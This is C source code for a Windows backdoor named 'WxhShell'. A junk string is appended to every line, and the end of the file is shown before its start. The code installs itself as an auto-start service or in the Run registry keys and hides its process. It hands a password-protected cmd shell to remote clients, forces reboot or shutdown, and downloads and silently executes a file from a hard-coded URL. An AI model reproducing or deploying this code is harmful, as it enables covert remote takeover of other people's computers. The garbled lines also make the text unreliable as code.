    if(Boot(SHUTDOWN)) s&L 6C[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zRFvWOxC\  
    else { UF;iw  
    closesocket(wsh); zXGi  
    ExitThread(0); k3UKGP1  
    } zh Vkn]z~*  
    break; bG/[mZpRT  
    } j7qGZ"8ak  
  // 获取shell N*'d]P2P`J  
  case 's': { @i(;}rx  
    CmdShell(wsh); {7^D!lis  
    closesocket(wsh); p9gX$-!pbG  
    ExitThread(0); yZY.B {  
    break; jfjT::f>l  
  } c=<5DC&p  
  // 退出 |g!3f  
  case 'x': { ,IRy. qy  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )26_7.|  
    CloseIt(wsh); HG&rE3@  
    break; ]L_h3Xz\X  
    } I2)#."=Ew  
  // 离开 fcisDu8n  
  case 'q': { )<vuv9=k\%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6$ ag<  
    closesocket(wsh); ;` ! j~  
    WSACleanup(); ?y2v?h"  
    exit(1); L)3JTNiB  
    break; ^ ^k]2oG  
        } %ql2 XAY  
  } Pvz\zRq  
  } Qn`Fq,uvL  
v|wO qS  
  // 提示信息 .NT9dX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -$o4WSd~  
} oNp(GQ@0  
  } Z?)=4|  
CYZ0F5+t  
  return; n0opb [?  
} LIfYpn6  
R_B`dP<"~Y  
// shell模块句柄 Ax'o|RE)x  
int CmdShell(SOCKET sock) "w:?WS  
{ aS&,$sR  
STARTUPINFO si; c. 06Sw*  
ZeroMemory(&si,sizeof(si)); |`Iispn  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .y>G/8_i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x"{WLZ   
PROCESS_INFORMATION ProcessInfo; CQ:38l\`gd  
char cmdline[]="cmd"; Itv}TK eF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vu`,:/|h  
  return 0; %)sG 34  
} s'=w/os  
r;8X6C  
// 自身启动模式 q1,jDJglZ  
int StartFromService(void) /Gvd5  
{ ;}4^WzmK^(  
typedef struct UBM :.*wN  
{ %>E M ^Z  
  DWORD ExitStatus; tl^![Z  
  DWORD PebBaseAddress; y28 e=i  
  DWORD AffinityMask; Rp_)LA  
  DWORD BasePriority; E @7);i5K  
  ULONG UniqueProcessId; &z?:s  
  ULONG InheritedFromUniqueProcessId; /Bp5^(s  
}   PROCESS_BASIC_INFORMATION; /7hC /!@  
!Hx[ `3  
PROCNTQSIP NtQueryInformationProcess; KLCd`vr.xf  
)GR4U8<>g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; TcOmBKps'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @y(<4kLz  
CC,CKb  
  HANDLE             hProcess; DgODTxiX  
  PROCESS_BASIC_INFORMATION pbi; N~+ e\K6  
C(}N*e1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w=QW8q?  
  if(NULL == hInst ) return 0; KYR64[1  
:Hq#co  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `w EAU7m:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z Z9D6+R  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9;R'Xo=y  
tWaM+W  
  if (!NtQueryInformationProcess) return 0; VQ^}f/A  
Xsd+5="{N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u:M)JG  
  if(!hProcess) return 0; bL0>ul"  
^n9)rsb  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 90UZ\{">  
CZw]@2/JuQ  
  CloseHandle(hProcess); `XrF ,  
:EV*8{:aLU  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <CGABlZ  
if(hProcess==NULL) return 0; zy'cf5k2  
4x"9Wr=}  
HMODULE hMod;  &sg~owz  
char procName[255]; _ls i,kg?  
unsigned long cbNeeded; x`JhNAO>  
PdSYFJM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z \>mAtm  
?<STl-]&  
  CloseHandle(hProcess); |H ,-V;  
R?iC"s!  
if(strstr(procName,"services")) return 1; // 以服务启动 T.pc3+B8N  
THY=8&x)  
  return 0; // 注册表启动 s5J?,xu  
} GGez!?E%  
@@d6,=  
// 主模块 &*# Obv  
int StartWxhshell(LPSTR lpCmdLine) W[t0hbV w  
{ 1h#e-Oyff  
  SOCKET wsl; L)X[$:  
BOOL val=TRUE; bPVQ-  
  int port=0; v/x~L$[  
  struct sockaddr_in door; R3hyz~\x&  
<g1=jG:7k  
  if(wscfg.ws_autoins) Install(); &n~v;M  
/&+*X)#v  
port=atoi(lpCmdLine); ;|pw;-  
7& 'p"hF  
if(port<=0) port=wscfg.ws_port; 85qD~o?O  
d[`vd^hI  
  WSADATA data; @7`=0;g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1"f)\FPGe  
v \dP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {'z(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |vtj0 ,[  
  door.sin_family = AF_INET; RX?y}BDo0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G_S2Q @|Q  
  door.sin_port = htons(port); 2Z+:^5  
*9tRh Rc  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *;[g Ga~  
closesocket(wsl); (O"-6`w[  
return 1; ^NXxMC( e+  
} ]h%~'8g,  
*AJYSa,z  
  if(listen(wsl,2) == INVALID_SOCKET) { B3&C=*y  
closesocket(wsl); {ep.So6  
return 1; X.eocy  
} S`pBEM  
  Wxhshell(wsl); C_;A~iI7  
  WSACleanup(); dfT  
/a }` y  
return 0; K)W:@,*  
"Z)zKg  
} Yht |^ =a  
:gTtWJ04]  
// 以NT服务方式启动 R\-]t{t`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) YnlZyw!  
{ S|r,RBeZ  
DWORD   status = 0; =w ! 6un  
  DWORD   specificError = 0xfffffff; ou=33}uO  
t6Nkv;)>@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (?1/\r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i-,_:z=J  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yb) a  
  serviceStatus.dwWin32ExitCode     = 0; [F+*e=wjN>  
  serviceStatus.dwServiceSpecificExitCode = 0; Ie(M9QMp  
  serviceStatus.dwCheckPoint       = 0; cC]lO  
  serviceStatus.dwWaitHint       = 0; Q!{,^Qb  
?*&5`Xh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Yc^,Cj{OM  
  if (hServiceStatusHandle==0) return; ,c|Ai(U  
1*?L>@Wdy  
status = GetLastError(); LAY~hF"  
  if (status!=NO_ERROR) E|y  
{ h-6x! 6pm  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v+C%t!dx  
    serviceStatus.dwCheckPoint       = 0; 0t%`jY~%  
    serviceStatus.dwWaitHint       = 0; upiYo(sN.  
    serviceStatus.dwWin32ExitCode     = status; 3;F up4!4}  
    serviceStatus.dwServiceSpecificExitCode = specificError; ` >[Offhd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $l_\9J913  
    return; ZMGC@4^F  
  } gWfMUl  
pkc*toW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; g`dAj4B  
  serviceStatus.dwCheckPoint       = 0; W1ql[DqE{  
  serviceStatus.dwWaitHint       = 0; <OTx79m  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O? 0`QMY  
} q +!i6!6r  
c~u91h?  
// 处理NT服务事件,比如:启动、停止 !M}ZK(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) YL/B7^fd8  
{ Hb\['VhzM  
switch(fdwControl) b1EY6'R2  
{ A`*Sx"~jdx  
case SERVICE_CONTROL_STOP: :@~mN7O*  
  serviceStatus.dwWin32ExitCode = 0; byPqPSY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \?vn0;R4  
  serviceStatus.dwCheckPoint   = 0; !d&SVS^mo  
  serviceStatus.dwWaitHint     = 0; * BKIA  
  { A().1h1_k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oj[<{/,C9  
  } C);I[H4Yfw  
  return; @s0mX3P  
case SERVICE_CONTROL_PAUSE: cToT_Mk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^bECX<,H  
  break; iN1_ T  
case SERVICE_CONTROL_CONTINUE: _Uhl4Mh  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8;O/x  
  break; 3cc;BWvM  
case SERVICE_CONTROL_INTERROGATE: !-4VGt&c,  
  break; o @nsv&i  
}; @4Lol2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <sG}[:v  
} dst!VO: M  
{dwlW`{  
// 标准应用程序主函数 $pauPEe  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~7:Q+ 0,,  
{ Qp+M5_  
u<EPK*O*  
// 获取操作系统版本 L=&}s[5  
OsIsNt=GetOsVer(); JhvT+"~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Zou;o9Ww  
a~Yq0d?`D  
  // 从命令行安装 4xgfm.9I^  
  if(strpbrk(lpCmdLine,"iI")) Install(); vw :&c.zd  
=l>=]O~h  
  // 下载执行文件 VyWzb  
if(wscfg.ws_downexe) { n$<n Yr`X  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6foiN W+  
  WinExec(wscfg.ws_filenam,SW_HIDE); {Gw{W&<  
} t(UdV  
04:QEC"9mj  
if(!OsIsNt) { EPU3Jban  
// 如果时win9x,隐藏进程并且设置为注册表启动 r%%@~ \z  
HideProc(); rN'}IS@5  
StartWxhshell(lpCmdLine); 4ULdf|oP"  
} Y^eF(  
else <(l`zLf4p  
  if(StartFromService()) |k]fY*z(  
  // 以服务方式启动 dte-2?%~j  
  StartServiceCtrlDispatcher(DispatchTable); f |NXibmP  
else V5p->X2#  
  // 普通方式启动 IEY\l{s  
  StartWxhshell(lpCmdLine); YcW) D  
Z61L;E  
return 0; XV1XzG#C  
} `Dp4Z>| K  
f& Vx`oj  
R#!Urhh  
7,Y+FZ  
=========================================== 7V&ly{</  
luJNdA:t&  
T$Z}1e]  
G)&!f)6  
_po5j;"_O  
63kZ#5g(Dw  
" TjOK8 t  
rq:sy=;  
#include <stdio.h> `:Zgq+j&  
#include <string.h> !{vZvy"  
#include <windows.h> Pb<6-Jc[  
#include <winsock2.h> on 4 $n7  
#include <winsvc.h> R| XD#bG  
#include <urlmon.h> -`5L;cxwk4  
XI"IEwB  
#pragma comment (lib, "Ws2_32.lib") 4GS:kfti  
#pragma comment (lib, "urlmon.lib") I>lblI$7  
37 *2/N2  
#define MAX_USER   100 // 最大客户端连接数 X39%O'  
#define BUF_SOCK   200 // sock buffer A @e!~  
#define KEY_BUFF   255 // 输入 buffer u/%Z0`X  
h{^MdYJ  
#define REBOOT     0   // 重启 "g5MltH  
#define SHUTDOWN   1   // 关机 j9.%(*  
iYGa4@/uM  
#define DEF_PORT   5000 // 监听端口 r|y\FL  
n<ecVFft  
#define REG_LEN     16   // 注册表键长度 E5\>mf ,;u  
#define SVC_LEN     80   // NT服务名长度 L;fz7?_j  
=)J )xH!N  
// 从dll定义API (/7cXd@\6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); czK}F/Sg`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {"O-/* f+(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); r(<91~Ww  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3gv?rJV  
r9p ((ir  
// wxhshell配置信息 ;rl61d}NH#  
struct WSCFG { ~I]aUN  
  int ws_port;         // 监听端口 O~Svk'.)  
  char ws_passstr[REG_LEN]; // 口令 ?gCP"~  
  int ws_autoins;       // 安装标记, 1=yes 0=no v)nBp\fjxp  
  char ws_regname[REG_LEN]; // 注册表键名 %&eBkN!T  
  char ws_svcname[REG_LEN]; // 服务名 +NoVe#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1*:BOoYx  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 SVPksr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7wHd*{^9N  
int ws_downexe;       // 下载执行标记, 1=yes 0=no h~ q5GhY!9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qA t#0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 CHDt^(oa!B  
eWXR #g!%>  
}; Wr+1e1[  
RtEx WTc  
// default Wxhshell configuration @*WrHoa2N  
struct WSCFG wscfg={DEF_PORT, DIgur}q)@  
    "xuhuanlingzhe", A(z m  
    1, W>u{JgY  
    "Wxhshell", sHQO*[[  
    "Wxhshell", 9TEAM<b;  
            "WxhShell Service", J\Tu=f)  
    "Wrsky Windows CmdShell Service", vnqLcNB H  
    "Please Input Your Password: ", .-1'#Z1T  
  1, 4}0Ry\ 6  
  "http://www.wrsky.com/wxhshell.exe", %0vWyU:K9  
  "Wxhshell.exe" ~SI G0U8  
    }; ;8b!T -K  
3!8u  
// 消息定义模块 +kq+x6&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fFXnD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9&s>RJ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; J 2k4k  
char *msg_ws_ext="\n\rExit."; 28j/K=0(  
char *msg_ws_end="\n\rQuit."; )GOio+{H  
char *msg_ws_boot="\n\rReboot..."; =+H,}  
char *msg_ws_poff="\n\rShutdown..."; Dy{lgT0k  
char *msg_ws_down="\n\rSave to "; :W$- b  
-4obX  
char *msg_ws_err="\n\rErr!"; s<5PsR  
char *msg_ws_ok="\n\rOK!"; ViU5l*n;  
<:!:7  
char ExeFile[MAX_PATH]; PmtXD6p3(  
int nUser = 0; <Vh }d/  
HANDLE handles[MAX_USER]; yoM^6o^,D  
int OsIsNt; M3eFG@,  
bQdu=s[  
SERVICE_STATUS       serviceStatus; Rpj{!Ia  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #P {|7}jk  
Y4[oa?G  
// 函数声明 k h6n(B\  
int Install(void); &,* ILz  
int Uninstall(void); 1JV-X G6  
int DownloadFile(char *sURL, SOCKET wsh); ssl.Y!  
int Boot(int flag); /)sP<WPQ 6  
void HideProc(void); F6_e n z  
int GetOsVer(void); '_ys4hz}  
int Wxhshell(SOCKET wsl); %8>0;ktU  
void TalkWithClient(void *cs); t(}g;O-  
int CmdShell(SOCKET sock); s0DT1s&  
int StartFromService(void); 'f8'|o)  
int StartWxhshell(LPSTR lpCmdLine); ;_0frX  
$y%IM`/w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); LtV,djk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "d2JNFIHb  
u,]qrlx{  
// 数据结构和表定义 FJB B@<>:  
SERVICE_TABLE_ENTRY DispatchTable[] = csV3mzP  
{ % zO>]f&  
{wscfg.ws_svcname, NTServiceMain}, [rz5tfMp  
{NULL, NULL} YUT I)&y  
}; /h@3R[k  
5yjG\ ~  
// 自我安装 w"L]?#  
int Install(void) #X0Xc2}{f  
{ WwUHHm<v  
  char svExeFile[MAX_PATH]; u1>WG?/`  
  HKEY key; b&'YW*W  
  strcpy(svExeFile,ExeFile); #q5tG\gnM  
nd w&F'.r  
// 如果是win9x系统,修改注册表设为自启动 fr}.#~{5Y  
if(!OsIsNt) { o ^ 08<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x+v&3YF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 55=YM'5]  
  RegCloseKey(key); &w:0ad|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |o@U L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #k,.xMJ~  
  RegCloseKey(key); 0n\AUgVPF  
  return 0; WP'.o  
    } l nJ  
  } ]l`V#Rd  
} >O0<u  
else { qRq4PQ@  
En4!-pWHQ  
// 如果是NT以上系统,安装为系统服务 O\h%ZLjfO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l< HnPR/  
if (schSCManager!=0) /v.<h*hxWy  
{ !Z0S@]C  
  SC_HANDLE schService = CreateService )S}.QrG  
  ( Q]OR0-6<.  
  schSCManager, WkV0,_(P  
  wscfg.ws_svcname, 6XnUs1O  
  wscfg.ws_svcdisp, o\fPZ`p-m~  
  SERVICE_ALL_ACCESS, RFq=`/>dG  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;@O8y\@  
  SERVICE_AUTO_START, Ml/K~H tN  
  SERVICE_ERROR_NORMAL, r4 qs!(  
  svExeFile, Z_>:p^id  
  NULL, ->Fsmb+R  
  NULL, Ox@$ }  
  NULL, !E,|EdIr  
  NULL, \\{78WDA  
  NULL w }8=sw  
  ); l9 n$cv^  
  if (schService!=0) 09i7 7  
  { Vddod  
  CloseServiceHandle(schService); XANJA  
  CloseServiceHandle(schSCManager); 3ouo4tf$H.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5C9 .h:c4y  
  strcat(svExeFile,wscfg.ws_svcname); rS+ >oP}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'a$/ !~X  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); bAUYJPRpy  
  RegCloseKey(key); =E:sEw2j  
  return 0; >f D%lq;  
    } N:EljzvP}  
  } 9f CU+s  
  CloseServiceHandle(schSCManager); dP"cm0  
} X 5LI  
} uuzDu]Gwu  
xQa[bvW  
return 1; `Njv#K} U  
} ~l%Dcp  
)FM/^  
// 自我卸载 z)'dDM D"  
int Uninstall(void) c xdhG"  
{ g83!il\  
  HKEY key; t i)foam  
SeBbI&Ju  
if(!OsIsNt) { .9WJ/RKZ\D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '}*5ee](S  
  RegDeleteValue(key,wscfg.ws_regname); L=Q- r[  
  RegCloseKey(key); P$Y< g/s 4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KL!k'4JNY  
  RegDeleteValue(key,wscfg.ws_regname); P@:#NU[  
  RegCloseKey(key); VY$hg  
  return 0; lDNB0Ad  
  } |C@)#.nm[  
} FfN==2:b  
} ^:K"Tv.=  
else { 6#O n .Q  
6pI =?g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .e5GJAW~9  
if (schSCManager!=0) oYnA 3  
{ i)P.Omr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?@l9T)fF  
  if (schService!=0) /] ce?PPC  
  { ; )O)\__"-  
  if(DeleteService(schService)!=0) { ,)XT;iGQe  
  CloseServiceHandle(schService); D{h1"q  
  CloseServiceHandle(schSCManager); @#1k+tSA,  
  return 0; N VzR2  
  } ;RW!l pGjP  
  CloseServiceHandle(schService); r80w{[S$  
  } H^p ?t=Y  
  CloseServiceHandle(schSCManager); ox] LlRK  
} 4QdY"s( n  
} Z:09 ]r1  
\&]'GsfF  
return 1; 3k5OYUk  
} I)V2cOrXM  
|]HU$Gt S  
// 从指定url下载文件 \y{Bnp5h  
int DownloadFile(char *sURL, SOCKET wsh) RS#)uC5/%  
{ FD*`$.e3\  
  HRESULT hr; \i}n1Qd  
char seps[]= "/"; :S0r)CNP  
char *token; bgqN&J)Jr)  
char *file; U2=5Nt5  
char myURL[MAX_PATH]; u}D.yI8  
char myFILE[MAX_PATH]; K!"[,=u_  
X{o.mN  
strcpy(myURL,sURL); RtGETiA\b  
  token=strtok(myURL,seps); MQ5#6 vJ  
  while(token!=NULL) "X g@X5BG  
  { %YM4x!6  
    file=token; -RVwPY  
  token=strtok(NULL,seps); n>)CCf@H  
  } R8F[ 7&(  
*TVr| to  
GetCurrentDirectory(MAX_PATH,myFILE); mm'n#%\G  
strcat(myFILE, "\\"); }k.-xaj  
strcat(myFILE, file); 2)h i(  
  send(wsh,myFILE,strlen(myFILE),0); sb Z)z#Tr  
send(wsh,"...",3,0); 1Wtr_A  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); JGX E{FT  
  if(hr==S_OK) gpVZZ:~  
return 0; _)O1v%]"4  
else m ,,-rC  
return 1; v#@"Evh7  
(Ybc~M)z  
} j1*'yvGM  
]C3{ _?=  
// 系统电源模块 ;U<;R  
int Boot(int flag) m{x[q  
{ v*<hE>J0  
  HANDLE hToken; E#v}//  
  TOKEN_PRIVILEGES tkp; @ U'g}K  
=21$U[  
  if(OsIsNt) { fchsn*R%-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b4ZZyw  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H)}>&Z4  
    tkp.PrivilegeCount = 1; Xa=oryDt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *%7[{Loz  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %/"I.\%d  
if(flag==REBOOT) { sI7d?+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pYa8iQ`6U;  
  return 0; U BzX%:A  
} -;20|US)u  
else { +w[vYKSZm  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u n\!K  
  return 0; :f G5?])  
} fz\C$[+u  
  } @X+m,u  
  else { Bha#=>4FU  
if(flag==REBOOT) { de1cl<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) f6vhW66:?x  
  return 0; }(A`aB_  
} n/6#rj^$  
else { JFH3)Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) a$r- U_?  
  return 0; *`Swv`  
} 0uV3J  
} z/!LC;(  
7/+I"~  
return 1; fqrQ1{%UH  
} "BT*9N=|  
O 7RIcU  
// win9x进程隐藏模块 J9eOBom8e<  
void HideProc(void) .Ds d Q4Y  
{ *o.f<OwOz  
V[ju7\>$Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U{i xok  
  if ( hKernel != NULL ) ${m;x:'  
  { `NYu|:JK:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :No`+X[Kq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 01=nS?  
    FreeLibrary(hKernel); Q2yD4>qy  
  } H3-(.l[!b)  
Ha~F&H|"O  
return; W*S}^6ZT`  
} Ln:6@Ok)5%  
TOapq9B]  
// 获取操作系统版本 \]C_ul'  
int GetOsVer(void) ~_Q~AOFM  
{ }Q $}LR@  
  OSVERSIONINFO winfo; V=^B7a.;>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4`yE'%6.}  
  GetVersionEx(&winfo); Y TpiOPf  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qm^|7m^  
  return 1; OQW%nF9~  
  else YI+ clh;%9  
  return 0; @k=UB&?I  
} "I)/|x\G*  
LMKhtOZ?  
// 客户端句柄模块 0N;~(Vt2  
int Wxhshell(SOCKET wsl) <fHJ9(5$V  
{ L0l'4RRm\  
  SOCKET wsh; EfX\"y  
  struct sockaddr_in client; Q,nJz*AJ  
  DWORD myID; /!Ay12lKE}  
rn^cajO^  
  while(nUser<MAX_USER) Q XSS  
{ Su/8P[q_  
  int nSize=sizeof(client); Sq&r ;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "QD>m7  
  if(wsh==INVALID_SOCKET) return 1; E1r-$gf_  
R + ~b@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Mj&G5R~_  
if(handles[nUser]==0) f=k_U[b4>  
  closesocket(wsh); oyB gF\  
else |\zzOfaO  
  nUser++; 3 Fb9\2<H  
  } 44NM of8N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6k_Uq.<X  
zmU@ k  
  return 0; 3v@h&7<E  
} X=+|(A,BdY  
V7b;qC'  
// 关闭 socket wz'=  
void CloseIt(SOCKET wsh) }?\^^v h7  
{ {E; bT|3z  
closesocket(wsh); JM1O7I  
nUser--; h;@c%Vm  
ExitThread(0); q<j9l'dHG  
} ;j.-6#n  
ZNVrja*  
// 客户端请求句柄 :YQI1 q[6  
void TalkWithClient(void *cs) I8a3:)  
{ Jd^Lnp6?  
(dfC}x(3h  
  SOCKET wsh=(SOCKET)cs; Xp] jF^5  
  char pwd[SVC_LEN]; [^Bjmw[7  
  char cmd[KEY_BUFF]; Kt](|  
char chr[1]; 2eHVl.C5  
int i,j; ue^HhZ9  
RIQ-mpg~(k  
  while (nUser < MAX_USER) { ;yajt\a  
W]oa7VAq  
if(wscfg.ws_passstr) { 4Q/{lqG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,PmUl=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C6EGM/m8  
  //ZeroMemory(pwd,KEY_BUFF); ~`Rar2%B  
      i=0; X;H\u6-|>6  
  while(i<SVC_LEN) { wZZ~!"O &  
/o%VjP"<  
  // 设置超时 6I: 6+n  
  fd_set FdRead; =[8K#PZ$w  
  struct timeval TimeOut; y>.t[*zT  
  FD_ZERO(&FdRead); &8w# 4*W  
  FD_SET(wsh,&FdRead); O2\(:tvw  
  TimeOut.tv_sec=8; 67hfve  
  TimeOut.tv_usec=0; ~+j2a3rv-{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9Vqy<7i1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'da 'WZG  
(8aj`> y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r<vy6  
  pwd=chr[0]; gyD;kn\CP  
  if(chr[0]==0xd || chr[0]==0xa) { 5@%.wb4  
  pwd=0; (:qc[,m  
  break; S :8  
  } F$(ak;v}  
  i++; m3BL  
    } 2mn AL#  
lyX3'0c  
  // 如果是非法用户,关闭 socket X3a9-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nX 9]dz  
} }04mJY[  
I-Z|FKh_C  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n8F~!|lQ0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |mE;HvQF  
C<AW)|r_  
while(1) { =V]0G,,\  
^t5My[R  
  ZeroMemory(cmd,KEY_BUFF); ^l|b>z"0ao  
i4,p\rE0  
      // 自动支持客户端 telnet标准   {='Bd6_=  
  j=0; Jr( =Y@Z '  
  while(j<KEY_BUFF) { ?T2>juf]5~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t$z[ ja=  
  cmd[j]=chr[0]; gr*CN<  
  if(chr[0]==0xa || chr[0]==0xd) { 7Vsp<s9bj  
  cmd[j]=0; m<hP"j  
  break; ^APtV6g  
  } {?eUAB<  
  j++; z'"7zLQ  
    } #M16qOEw  
(_zlCHB  
  // 下载文件 HKXC=^}x'  
  if(strstr(cmd,"http://")) { d(o=)!p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]~I+d/k d  
  if(DownloadFile(cmd,wsh)) )Q'E^[Ua  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0SQr%:zG  
  else x{SlJ%V  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X+aQ 7^"s  
  } qK a}O*  
  else { Q+=pP'cV  
& "&s,  
    switch(cmd[0]) { +QU>D:l  
  aX^T[  
